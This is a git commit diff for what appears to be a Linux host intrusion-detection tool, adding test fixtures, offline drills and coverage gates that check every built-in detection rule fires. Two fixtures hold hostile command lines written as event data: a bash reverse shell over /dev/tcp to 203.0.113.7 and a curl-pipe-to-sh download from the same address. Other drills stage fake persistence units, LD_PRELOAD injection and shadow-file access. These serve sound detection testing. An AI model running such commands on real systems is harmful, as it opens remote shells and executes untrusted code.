Add enrichment and SID coverage gates
This commit is contained in:
parent
93ac47dd82
commit
66472134d8
32 changed files with 1623 additions and 31 deletions
9
tests/fixtures/sids/100001-tmp-exec.json
vendored
Normal file
9
tests/fixtures/sids/100001-tmp-exec.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "exec",
|
||||
"pid": 4242,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/tmp/.payload",
|
||||
"argv": []
|
||||
}
|
||||
9
tests/fixtures/sids/100002-reverse-shell-argv.json
vendored
Normal file
9
tests/fixtures/sids/100002-reverse-shell-argv.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "exec",
|
||||
"pid": 4243,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"parent_comm": "sshd",
|
||||
"filename": "/usr/bin/bash",
|
||||
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]
|
||||
}
|
||||
9
tests/fixtures/sids/100003-web-shell-spawn.json
vendored
Normal file
9
tests/fixtures/sids/100003-web-shell-spawn.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "exec",
|
||||
"pid": 4244,
|
||||
"ppid": 812,
|
||||
"uid": 33,
|
||||
"parent_comm": "nginx",
|
||||
"filename": "/usr/bin/sh",
|
||||
"argv": ["-c", "id"]
|
||||
}
|
||||
9
tests/fixtures/sids/100004-curl-pipe-sh.json
vendored
Normal file
9
tests/fixtures/sids/100004-curl-pipe-sh.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "exec",
|
||||
"pid": 4245,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/usr/bin/curl",
|
||||
"argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]
|
||||
}
|
||||
9
tests/fixtures/sids/100060-mprotect-rwx.json
vendored
Normal file
9
tests/fixtures/sids/100060-mprotect-rwx.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "syscall",
|
||||
"pid": 4250,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"comm": "loader",
|
||||
"syscall": "mprotect",
|
||||
"args": [140000000, 4096, 7]
|
||||
}
|
||||
9
tests/fixtures/sids/100061-mmap-rwx.json
vendored
Normal file
9
tests/fixtures/sids/100061-mmap-rwx.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "syscall",
|
||||
"pid": 4251,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"comm": "loader",
|
||||
"syscall": "mmap",
|
||||
"args": [0, 4096, 7]
|
||||
}
|
||||
10
tests/fixtures/sids/100062-memfd-create.json
vendored
Normal file
10
tests/fixtures/sids/100062-memfd-create.json
vendored
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"event": "syscall",
|
||||
"pid": 4252,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"comm": "loader",
|
||||
"syscall": "memfd_create",
|
||||
"args": [0, 0, 0],
|
||||
"text": "payload"
|
||||
}
|
||||
9
tests/fixtures/sids/100063-ptrace-attach.json
vendored
Normal file
9
tests/fixtures/sids/100063-ptrace-attach.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "syscall",
|
||||
"pid": 4253,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"comm": "debugger",
|
||||
"syscall": "ptrace",
|
||||
"args": [16, 5000, 0]
|
||||
}
|
||||
9
tests/fixtures/sids/100064-seccomp.json
vendored
Normal file
9
tests/fixtures/sids/100064-seccomp.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "syscall",
|
||||
"pid": 4254,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"comm": "sandbox",
|
||||
"syscall": "seccomp",
|
||||
"args": [0, 0, 0]
|
||||
}
|
||||
9
tests/fixtures/sids/100065-process-vm-readv.json
vendored
Normal file
9
tests/fixtures/sids/100065-process-vm-readv.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "syscall",
|
||||
"pid": 4255,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"comm": "scanner",
|
||||
"syscall": "process_vm_readv",
|
||||
"args": [5000, 0, 0]
|
||||
}
|
||||
9
tests/fixtures/sids/100066-mlock.json
vendored
Normal file
9
tests/fixtures/sids/100066-mlock.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "syscall",
|
||||
"pid": 4256,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"comm": "secretstore",
|
||||
"syscall": "mlock",
|
||||
"args": [140000000, 4096, 0]
|
||||
}
|
||||
314
tests/sid_drills.py
Normal file
314
tests/sid_drills.py
Normal file
|
|
@ -0,0 +1,314 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Safe, offline drills that emit non-event built-in SIDs."""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import tempfile
|
||||
from collections.abc import Callable
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
|
||||
from enodia_sentinel import fim, pkgdb, posture, rootcheck
|
||||
from enodia_sentinel.alert import Alert
|
||||
from enodia_sentinel.config import Config
|
||||
from enodia_sentinel.detectors import (
|
||||
credential_access,
|
||||
deleted_exe,
|
||||
egress,
|
||||
input_snooper,
|
||||
ld_preload,
|
||||
memory_obfuscation,
|
||||
new_listener,
|
||||
new_suid,
|
||||
persistence,
|
||||
reverse_shell,
|
||||
stealth_network,
|
||||
)
|
||||
from enodia_sentinel.system import MemoryMap, Socket, SystemState
|
||||
|
||||
|
||||
@dataclass
|
||||
class FakeProc:
|
||||
pid: int
|
||||
comm: str = "bash"
|
||||
cmdline: str = ""
|
||||
exe: str = ""
|
||||
environ: dict = field(default_factory=dict)
|
||||
_stdio_inode: int | None = None
|
||||
ppid: int = 1
|
||||
uid: int = 0
|
||||
cwd: str = "/"
|
||||
fd_targets: dict = field(default_factory=dict)
|
||||
memory_maps: list = field(default_factory=list)
|
||||
|
||||
def stdio_socket_inode(self):
|
||||
return self._stdio_inode
|
||||
|
||||
|
||||
def _cfg() -> Config:
|
||||
return Config()
|
||||
|
||||
|
||||
def _rootcheck_alerts(**views) -> list[Alert]:
|
||||
saved = {
|
||||
name: getattr(rootcheck, name)
|
||||
for name in (
|
||||
"proc_pids", "alive_pids", "proc_modules", "sys_live_modules",
|
||||
"procnet_listen_ports", "procnet_udp_ports",
|
||||
"procnet_raw_protocols", "procnet_protocol_kinds", "ps_pids",
|
||||
"proc_pid_exists", "promiscuous_interfaces", "module_taints",
|
||||
"kernel_taint",
|
||||
)
|
||||
}
|
||||
try:
|
||||
rootcheck.proc_pids = lambda: views.get("proc_pids", {1})
|
||||
rootcheck.alive_pids = lambda cap: views.get("alive_pids", {1})
|
||||
rootcheck.proc_modules = lambda: views.get("proc_modules", {"ext4"})
|
||||
rootcheck.sys_live_modules = lambda: views.get("sys_live_modules", {"ext4"})
|
||||
rootcheck.procnet_listen_ports = lambda: views.get("procnet_ports", set())
|
||||
rootcheck.procnet_udp_ports = lambda: views.get("procnet_udp_ports", set())
|
||||
rootcheck.procnet_raw_protocols = lambda: views.get(
|
||||
"procnet_raw_protocols", set())
|
||||
rootcheck.procnet_protocol_kinds = lambda: views.get(
|
||||
"procnet_protocol_kinds", set())
|
||||
rootcheck.ps_pids = lambda: views.get("ps_pids", {1})
|
||||
rootcheck.proc_pid_exists = lambda pid: pid in views.get(
|
||||
"existing_pids", {1})
|
||||
rootcheck.promiscuous_interfaces = lambda: views.get("promisc", [])
|
||||
rootcheck.module_taints = lambda: views.get("module_taints", {})
|
||||
rootcheck.kernel_taint = lambda: views.get("kernel_taint", 0)
|
||||
return list(rootcheck.run(_cfg(), views.get("state", SystemState())))
|
||||
finally:
|
||||
for name, fn in saved.items():
|
||||
setattr(rootcheck, name, fn)
|
||||
|
||||
|
||||
def _fim_diff_alerts() -> list[Alert]:
|
||||
return list(fim.diff_alerts({
|
||||
"modified": [("/etc/ssh/sshd_config", ["sha256"])],
|
||||
"added": ["/etc/systemd/system/evil.service"],
|
||||
"removed": ["/etc/profile.d/hardening.sh"],
|
||||
}))
|
||||
|
||||
|
||||
def _pkgdb_tamper() -> list[Alert]:
|
||||
with tempfile.TemporaryDirectory() as d:
|
||||
cfg = _cfg()
|
||||
cfg.log_dir = Path(d)
|
||||
pkgdb.check(cfg, _fingerprint=lambda: "FP1", _last_tx=lambda: None)
|
||||
alert = pkgdb.check(cfg, _fingerprint=lambda: "FP2", _last_tx=lambda: None)
|
||||
return [alert] if alert else []
|
||||
|
||||
|
||||
def _siglevel() -> list[Alert]:
|
||||
with tempfile.NamedTemporaryFile("w", delete=False) as fh:
|
||||
fh.write("[options]\nSigLevel = Never\n")
|
||||
path = fh.name
|
||||
try:
|
||||
alert = pkgdb.siglevel_alert(path)
|
||||
return [alert] if alert else []
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
|
||||
def _pkgverify() -> list[Alert]:
|
||||
cfg = _cfg()
|
||||
saved = pkgdb.siglevel_alert
|
||||
pkgdb.siglevel_alert = lambda *a, **k: None
|
||||
try:
|
||||
alerts = pkgdb.verify_alerts(
|
||||
cfg,
|
||||
_installed=lambda: [("openssh", "9.0")],
|
||||
_verify=lambda name, version: {
|
||||
"pkg": f"{name}-{version}",
|
||||
"cached": "/cache/pkg.tar.zst",
|
||||
"checked": 1,
|
||||
"mismatched": [("/usr/bin/ssh", "dead", "beef")],
|
||||
},
|
||||
)
|
||||
return [a for a in alerts if a.sid == pkgdb.SID_PKGVERIFY]
|
||||
finally:
|
||||
pkgdb.siglevel_alert = saved
|
||||
|
||||
|
||||
def _fim_pkg() -> list[Alert]:
|
||||
saved = fim.pacman_verify
|
||||
fim.pacman_verify = lambda timeout=600: [
|
||||
("openssh", "/usr/bin/ssh", "SHA256 checksum mismatch"),
|
||||
]
|
||||
try:
|
||||
return list(fim.pacman_verify_alerts())
|
||||
finally:
|
||||
fim.pacman_verify = saved
|
||||
|
||||
|
||||
def _persistence() -> list[Alert]:
|
||||
with tempfile.TemporaryDirectory() as d:
|
||||
path = Path(d) / "evil.service"
|
||||
path.write_text("[Service]\nExecStart=/tmp/payload\n")
|
||||
cfg = _cfg()
|
||||
cfg.watch_persistence = (str(path),)
|
||||
state = SystemState(persist_since=path.stat().st_mtime - 1)
|
||||
return list(persistence.detect(state, cfg))
|
||||
|
||||
|
||||
def _hidden_proc() -> list[Alert]:
|
||||
pid = os.getpid()
|
||||
return _rootcheck_alerts(proc_pids={1}, alive_pids={1, pid},
|
||||
existing_pids={1}, ps_pids={1})
|
||||
|
||||
|
||||
def _ps_hidden_proc() -> list[Alert]:
|
||||
return _rootcheck_alerts(proc_pids={1, 4242}, alive_pids={1, 4242},
|
||||
existing_pids={1, 4242}, ps_pids={1})
|
||||
|
||||
|
||||
DRILLS: dict[int, Callable[[], list[Alert]]] = {
|
||||
100010: lambda: list(reverse_shell.detect(
|
||||
SystemState(
|
||||
processes=[FakeProc(pid=100, comm="bash", _stdio_inode=999,
|
||||
cmdline="bash -i")],
|
||||
sockets=[Socket("ESTAB", "127.0.0.1:55", "9.9.9.9:443",
|
||||
999, "bash", 100)],
|
||||
),
|
||||
_cfg(),
|
||||
)),
|
||||
100011: lambda: list(ld_preload.detect(
|
||||
SystemState(processes=[
|
||||
FakeProc(pid=200, comm="sleep",
|
||||
environ={"LD_PRELOAD": "/tmp/evil.so"}),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100012: lambda: list(deleted_exe.detect(
|
||||
SystemState(processes=[
|
||||
FakeProc(pid=300, comm="x", exe="/tmp/x (deleted)"),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100013: lambda: list(new_listener.detect(
|
||||
SystemState(
|
||||
sockets=[Socket("LISTEN", "0.0.0.0:31337", "0.0.0.0:0",
|
||||
1, "hoxha", 340)],
|
||||
listener_baseline=set(),
|
||||
),
|
||||
_cfg(),
|
||||
)),
|
||||
100014: lambda: list(new_suid.detect(
|
||||
SystemState(suid_binaries=["/tmp/evil", "/usr/bin/sudo"],
|
||||
suid_baseline={"/usr/bin/sudo"}),
|
||||
_cfg(),
|
||||
)),
|
||||
100015: _persistence,
|
||||
100016: lambda: list(egress.detect(
|
||||
SystemState(sockets=[
|
||||
Socket("ESTAB", "10.0.0.2:5000", "8.8.8.8:443",
|
||||
1, "python3", 400),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100017: _fim_diff_alerts,
|
||||
100018: _fim_diff_alerts,
|
||||
100019: _fim_diff_alerts,
|
||||
100020: _fim_pkg,
|
||||
100021: _pkgdb_tamper,
|
||||
100022: _hidden_proc,
|
||||
100023: lambda: _rootcheck_alerts(
|
||||
proc_modules={"ext4"}, sys_live_modules={"ext4", "evil_mod"}),
|
||||
100024: lambda: _rootcheck_alerts(
|
||||
procnet_ports={22, 31337},
|
||||
state=SystemState(sockets=[
|
||||
Socket("LISTEN", "0.0.0.0:22", "0.0.0.0:0", 10, "sshd", 1),
|
||||
])),
|
||||
100025: lambda: _rootcheck_alerts(promisc=["eth0"]),
|
||||
100026: _siglevel,
|
||||
100027: _pkgverify,
|
||||
100028: lambda: _rootcheck_alerts(
|
||||
proc_modules={"ext4"}, sys_live_modules={"ext4", "diamorphine"}),
|
||||
100029: lambda: _rootcheck_alerts(
|
||||
proc_modules={"vendor_gpu"}, sys_live_modules={"vendor_gpu"},
|
||||
module_taints={"vendor_gpu": "OE"}),
|
||||
100030: lambda: _rootcheck_alerts(kernel_taint=(1 << 12) | (1 << 13)),
|
||||
100031: lambda: _rootcheck_alerts(
|
||||
procnet_udp_ports={53, 4444},
|
||||
state=SystemState(sockets=[
|
||||
Socket("UNCONN", "0.0.0.0:53", "0.0.0.0:0", 11, "dnsmasq", 2),
|
||||
])),
|
||||
100032: lambda: list(input_snooper.detect(
|
||||
SystemState(processes=[
|
||||
FakeProc(pid=320, comm="hoxha",
|
||||
fd_targets={"7": "/dev/input/event3"}),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100033: lambda: list(credential_access.detect(
|
||||
SystemState(processes=[
|
||||
FakeProc(pid=330, comm="hoxha", fd_targets={"4": "/etc/shadow"}),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100034: lambda: _rootcheck_alerts(
|
||||
procnet_raw_protocols={1, 58},
|
||||
state=SystemState(sockets=[
|
||||
Socket("UNCONN", "0.0.0.0:ipv6-icmp", "0.0.0.0:*",
|
||||
12, "monitor", 3, "raw"),
|
||||
])),
|
||||
100035: lambda: _rootcheck_alerts(procnet_raw_protocols={1}),
|
||||
100036: lambda: list(stealth_network.detect(
|
||||
SystemState(sockets=[
|
||||
Socket("ESTAB", "10.0.0.2:5000", "8.8.8.8:4443",
|
||||
1, "hoxha", 340, "sctp"),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100037: lambda: _rootcheck_alerts(
|
||||
procnet_protocol_kinds={"sctp", "packet"},
|
||||
state=SystemState(sockets=[
|
||||
Socket("UNCONN", "*:eth0", "*", 13, "tcpdump", 4, "packet"),
|
||||
])),
|
||||
100038: _ps_hidden_proc,
|
||||
100039: lambda: list(memory_obfuscation.detect(
|
||||
SystemState(processes=[
|
||||
FakeProc(pid=351, comm="packer",
|
||||
memory_maps=[MemoryMap(0x3000, 0x4000, "rwxp", "")]),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100040: lambda: list(posture.sshd_findings({"permitrootlogin": "yes"})),
|
||||
100041: lambda: list(posture.sshd_findings({})),
|
||||
100042: lambda: list(posture.sshd_findings({
|
||||
"permitemptypasswords": "yes", "passwordauthentication": "no"})),
|
||||
100043: lambda: list(posture.sudoers_findings([
|
||||
("/etc/sudoers", "alice ALL=(ALL) NOPASSWD: ALL\n", 0o440),
|
||||
])),
|
||||
100044: lambda: list(posture.sudoers_findings([
|
||||
("/etc/sudoers", "Defaults !authenticate\n", 0o440),
|
||||
])),
|
||||
100045: lambda: list(posture.sudoers_findings([
|
||||
("/etc/sudoers.d/bad", "root ALL=(ALL) ALL\n", 0o646),
|
||||
])),
|
||||
100046: lambda: list(posture.path_findings([
|
||||
("/usr/local/bin", 0o40777, 0),
|
||||
])),
|
||||
100047: lambda: list(posture.sensitive_file_findings([
|
||||
("/etc/shadow", 0o100644),
|
||||
])),
|
||||
100048: lambda: list(memory_obfuscation.detect(
|
||||
SystemState(processes=[
|
||||
FakeProc(pid=352, comm="bash",
|
||||
memory_maps=[
|
||||
MemoryMap(0x5000, 0x6000, "r-xp",
|
||||
"/usr/lib/libhide.so"),
|
||||
]),
|
||||
]),
|
||||
_cfg(),
|
||||
)),
|
||||
100050: lambda: list(posture.systemd_findings([
|
||||
posture.UnitFact("foo.service", "/etc/systemd/system/foo.service",
|
||||
0o100664, True, ("/usr/bin/foo",)),
|
||||
])),
|
||||
100051: lambda: list(posture.systemd_findings([
|
||||
posture.UnitFact("evil.service", "/etc/systemd/system/evil.service",
|
||||
0o100644, True, ("/tmp/payload",)),
|
||||
])),
|
||||
}
|
||||
107
tests/test_enrich.py
Normal file
107
tests/test_enrich.py
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Tests for post-alert snapshot enrichment."""
|
||||
import tempfile
|
||||
import unittest
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
|
||||
from enodia_sentinel import enrich
|
||||
from enodia_sentinel.config import Config
|
||||
from enodia_sentinel.system import SystemState
|
||||
|
||||
|
||||
@dataclass
|
||||
class FakeProc:
|
||||
pid: int
|
||||
comm: str
|
||||
exe: str = ""
|
||||
ppid: int = 0
|
||||
uid: int = 0
|
||||
|
||||
|
||||
class TestEnrichment(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.TemporaryDirectory()
|
||||
self.tmp = Path(self.dir.name)
|
||||
self.cfg = Config()
|
||||
self.cfg.log_dir = self.tmp
|
||||
|
||||
def tearDown(self):
|
||||
self.dir.cleanup()
|
||||
|
||||
def test_process_remote_file_and_integrity_context(self):
|
||||
exe = self.tmp / "payload"
|
||||
exe.write_text("stage-one")
|
||||
watched = self.tmp / "persistence.service"
|
||||
watched.write_text("[Service]\nExecStart=/tmp/payload\n")
|
||||
self.cfg.fim_baseline.write_text("{}")
|
||||
(self.tmp / "pkgdb-anchor.json").write_text("{}")
|
||||
|
||||
state = SystemState(processes=[
|
||||
FakeProc(1, "systemd"),
|
||||
FakeProc(10, "nginx", ppid=1),
|
||||
FakeProc(42, "payload", exe=str(exe), ppid=10),
|
||||
])
|
||||
report = {
|
||||
"alerts": [
|
||||
{"signature": "reverse_shell",
|
||||
"detail": "pid=42 peer=[8.8.8.8:4444]",
|
||||
"key": "rsh:42"},
|
||||
{"signature": "persistence",
|
||||
"detail": f"persistence file modified: {watched}",
|
||||
"key": "k:persistence"},
|
||||
],
|
||||
"processes": [
|
||||
{"pid": 42, "comm": "payload", "exe": str(exe), "ppid": 10},
|
||||
],
|
||||
}
|
||||
|
||||
out = enrich.build(
|
||||
report, state, self.cfg, lineage={42, 10, 1},
|
||||
recent_files=[str(watched)],
|
||||
owner=lambda p: "testpkg 1.0-1" if p == str(exe) else None,
|
||||
)
|
||||
|
||||
self.assertEqual(out["processes"][0]["package_owner"], "testpkg 1.0-1")
|
||||
self.assertRegex(out["processes"][0]["exe_sha256"], r"^[0-9a-f]{64}$")
|
||||
self.assertEqual(out["processes"][0]["parent_chain"][0]["pid"], 10)
|
||||
self.assertEqual(out["remotes"][0],
|
||||
{"ip": "8.8.8.8", "classification": "public"})
|
||||
files = {f["path"]: f for f in out["files"]}
|
||||
self.assertTrue(files[str(watched)]["exists"])
|
||||
self.assertIn(str(watched), out["recent_writes"])
|
||||
self.assertEqual(out["integrity"]["fim_baseline"]["status"], "present")
|
||||
self.assertEqual(out["integrity"]["pkgdb_anchor"]["status"], "present")
|
||||
|
||||
def test_private_remote_and_missing_file_context(self):
|
||||
state = SystemState(processes=[])
|
||||
report = {
|
||||
"alerts": [
|
||||
{"signature": "egress",
|
||||
"detail": "python connected to 10.1.2.3:443 and /gone",
|
||||
"key": "k"},
|
||||
],
|
||||
"processes": [],
|
||||
}
|
||||
out = enrich.build(report, state, self.cfg, owner=lambda _p: None)
|
||||
self.assertEqual(out["remotes"][0]["classification"], "private")
|
||||
self.assertFalse(out["files"][0]["exists"])
|
||||
|
||||
def test_text_summary_is_compact(self):
|
||||
text = enrich.format_text({
|
||||
"processes": [{"pid": 42, "comm": "payload",
|
||||
"package_owner": "pkg", "exe_sha256": "a" * 64,
|
||||
"parent_chain": [{"pid": 10, "comm": "nginx"}]}],
|
||||
"remotes": [{"ip": "8.8.8.8", "classification": "public"}],
|
||||
"files": [],
|
||||
"integrity": {"fim_baseline": {"status": "present"},
|
||||
"pkgdb_anchor": {"status": "missing"},
|
||||
"rootcheck": {"enabled": True}},
|
||||
})
|
||||
self.assertIn("process pid=42", text)
|
||||
self.assertIn("remote 8.8.8.8: public", text)
|
||||
self.assertIn("integrity:", text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
|
@ -70,11 +70,43 @@ class TestRespondPlan(unittest.TestCase):
|
|||
self.assertIn(["systemctl", "disable", "--now", "bad.service"], commands)
|
||||
self.assertIn(["mv", "--", "/tmp/suidsh",
|
||||
"/tmp/suidsh.enodia-quarantine"], commands)
|
||||
self.assertIn(["enodia-sentinel", "check", "--json"], commands)
|
||||
self.assertIn(["enodia-sentinel", "watchdog", "--url",
|
||||
"https://<dashboard-host>:8787", "--token", "<token>",
|
||||
"--insecure-tls"], commands)
|
||||
self.assertNotIn(["mv", "--", "/etc/systemd/system/bad.service",
|
||||
"/etc/systemd/system/bad.service.enodia-quarantine"],
|
||||
commands)
|
||||
self.assertEqual(plan["actions"][0]["category"], "evidence")
|
||||
|
||||
def test_package_recovery_adds_signed_package_verify(self):
|
||||
iid = incident.record(self.cfg, "alert-2.log", [
|
||||
_alert("pkg_signature_mismatch",
|
||||
"signed package mismatch /usr/bin/ssh",
|
||||
sid=100022, sev=Severity.CRITICAL),
|
||||
], lineage=set(), when=1001.0, host="h")
|
||||
(self.tmp / "alert-2.json").write_text(json.dumps({
|
||||
"time": "2026-06-10T10:01:00-07:00",
|
||||
"host": "h",
|
||||
"severity": "CRITICAL",
|
||||
"incident_id": iid,
|
||||
"alerts": [
|
||||
{"signature": "pkg_signature_mismatch", "sid": 100022,
|
||||
"detail": "signed package mismatch /usr/bin/ssh",
|
||||
"pids": []},
|
||||
],
|
||||
"processes": [],
|
||||
}))
|
||||
self.cfg.dashboard_url = "https://100.64.0.2:8787/"
|
||||
plan = respond.build_plan(respond.load_bundle(self.cfg, iid), self.cfg)
|
||||
commands = [a["command"] for a in plan["actions"]]
|
||||
self.assertIn(["enodia-sentinel", "fim-check", "--packages"], commands)
|
||||
self.assertIn(["enodia-sentinel", "pkgdb-verify"], commands)
|
||||
self.assertIn(["pacman", "-Qo", "/usr/bin/ssh"], commands)
|
||||
self.assertIn(["enodia-sentinel", "watchdog", "--url",
|
||||
"https://100.64.0.2:8787", "--token", "<token>",
|
||||
"--insecure-tls"], commands)
|
||||
|
||||
def test_cli_json(self):
|
||||
os.environ["ENODIA_LOG_DIR"] = str(self.tmp)
|
||||
try:
|
||||
|
|
|
|||
|
|
@ -111,6 +111,7 @@ class TestSchemaContracts(unittest.TestCase):
|
|||
"incident_id": str,
|
||||
"alerts": list,
|
||||
"processes": list,
|
||||
"enrichment": dict,
|
||||
})
|
||||
self.assertEqual(data["alerts"][0]["signature"], "reverse_shell")
|
||||
|
||||
|
|
|
|||
73
tests/test_sid_coverage.py
Normal file
73
tests/test_sid_coverage.py
Normal file
|
|
@ -0,0 +1,73 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Emission-based coverage: every built-in SID has a fixture or drill.
|
||||
|
||||
Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/
|
||||
(replayable by operators via `enodia-sentinel rules test <file>`); the other
|
||||
engines are covered by drills in tests/sid_drills.py. This module replays
|
||||
and runs all of them for real and asserts the emitted sids match the
|
||||
registry in enodia_sentinel.sids.
|
||||
"""
|
||||
import json
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from enodia_sentinel import ruleops, sids
|
||||
from enodia_sentinel.config import Config
|
||||
from tests.sid_drills import DRILLS
|
||||
|
||||
FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids"
|
||||
|
||||
|
||||
def fixture_sids() -> dict[int, set[int]]:
|
||||
"""Replay every fixture; map declared sid to sids actually emitted."""
|
||||
out: dict[int, set[int]] = {}
|
||||
for path in sorted(FIXTURE_DIR.glob("*.json")):
|
||||
declared = int(path.name.split("-", 1)[0])
|
||||
event = json.loads(path.read_text())
|
||||
alerts = ruleops.test_event(Config(), event)
|
||||
out[declared] = {a.sid for a in alerts}
|
||||
return out
|
||||
|
||||
|
||||
class TestEventFixtures(unittest.TestCase):
|
||||
def test_every_event_rule_sid_has_an_emitting_fixture(self):
|
||||
covered = fixture_sids()
|
||||
wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
|
||||
for sid in sorted(wanted):
|
||||
self.assertIn(sid, covered,
|
||||
f"no fixture file for sid {sid} in {FIXTURE_DIR}")
|
||||
self.assertIn(sid, covered[sid],
|
||||
f"fixture for sid {sid} did not emit it")
|
||||
|
||||
def test_fixtures_emit_only_registered_sids(self):
|
||||
registry = sids.all_sids()
|
||||
for declared, emitted in fixture_sids().items():
|
||||
self.assertLessEqual(emitted, registry,
|
||||
f"fixture {declared} emitted unregistered sids")
|
||||
|
||||
|
||||
def drill_sids() -> dict[int, set[int]]:
|
||||
"""Run every non-event drill; map declared sid to sids emitted."""
|
||||
return {sid: {a.sid for a in drill()} for sid, drill in sorted(DRILLS.items())}
|
||||
|
||||
|
||||
class TestSidCoverageGate(unittest.TestCase):
|
||||
def test_every_non_event_sid_has_an_emitting_drill(self):
|
||||
covered = drill_sids()
|
||||
event_sids = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
|
||||
wanted = sids.all_sids() - event_sids
|
||||
self.assertEqual(set(covered), wanted)
|
||||
for sid in sorted(wanted):
|
||||
self.assertIn(sid, covered[sid], f"drill for sid {sid} did not emit it")
|
||||
|
||||
def test_fixtures_and_drills_equal_registry(self):
|
||||
emitted = set()
|
||||
for sids_for_fixture in fixture_sids().values():
|
||||
emitted.update(sids_for_fixture)
|
||||
for sids_for_drill in drill_sids().values():
|
||||
emitted.update(sids_for_drill)
|
||||
self.assertEqual(emitted, sids.all_sids())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
63
tests/test_sids.py
Normal file
63
tests/test_sids.py
Normal file
|
|
@ -0,0 +1,63 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""The SID registry is unique, complete, and matches the engine sources."""
|
||||
import unittest
|
||||
|
||||
from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids
|
||||
from enodia_sentinel.detectors import (
|
||||
credential_access,
|
||||
input_snooper,
|
||||
memory_obfuscation,
|
||||
stealth_network,
|
||||
)
|
||||
from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES
|
||||
from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES
|
||||
|
||||
|
||||
class TestRegistry(unittest.TestCase):
|
||||
def test_sids_are_unique(self):
|
||||
nums = [s.sid for s in sids.BUILTIN_SIDS]
|
||||
self.assertEqual(len(nums), len(set(nums)))
|
||||
|
||||
def test_count_and_helpers(self):
|
||||
self.assertEqual(len(sids.BUILTIN_SIDS), 52)
|
||||
self.assertEqual(
|
||||
sids.all_sids(), frozenset(s.sid for s in sids.BUILTIN_SIDS)
|
||||
)
|
||||
self.assertEqual(
|
||||
sids.engine_sids("exec_rule"),
|
||||
frozenset({100001, 100002, 100003, 100004}),
|
||||
)
|
||||
|
||||
def test_event_rule_sids_match_engines(self):
|
||||
self.assertEqual(
|
||||
sids.engine_sids("exec_rule"),
|
||||
frozenset(r.sid for r in DEFAULT_EXEC_RULES),
|
||||
)
|
||||
self.assertEqual(
|
||||
sids.engine_sids("syscall_rule"),
|
||||
frozenset(r.sid for r in DEFAULT_SYSCALL_RULES),
|
||||
)
|
||||
|
||||
def test_registry_uses_the_source_constants(self):
|
||||
by_sid = {s.sid: s for s in sids.BUILTIN_SIDS}
|
||||
for const, engine in (
|
||||
(fim.SID_MODIFIED, "fim"),
|
||||
(pkgdb.SID_PKGDB, "pkgdb"),
|
||||
(rootcheck.SID_HIDDEN_PROC, "rootcheck"),
|
||||
(posture.SID_SSH_ROOT_LOGIN, "posture"),
|
||||
(input_snooper.SID_INPUT_SNOOPER, "detector"),
|
||||
(credential_access.SID_CREDENTIAL_ACCESS, "detector"),
|
||||
(stealth_network.SID_STEALTH_NETWORK, "detector"),
|
||||
(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"),
|
||||
):
|
||||
self.assertIn(const, by_sid)
|
||||
self.assertEqual(by_sid[const].engine, engine)
|
||||
|
||||
def test_every_entry_has_name_and_module(self):
|
||||
for entry in sids.BUILTIN_SIDS:
|
||||
self.assertTrue(entry.name)
|
||||
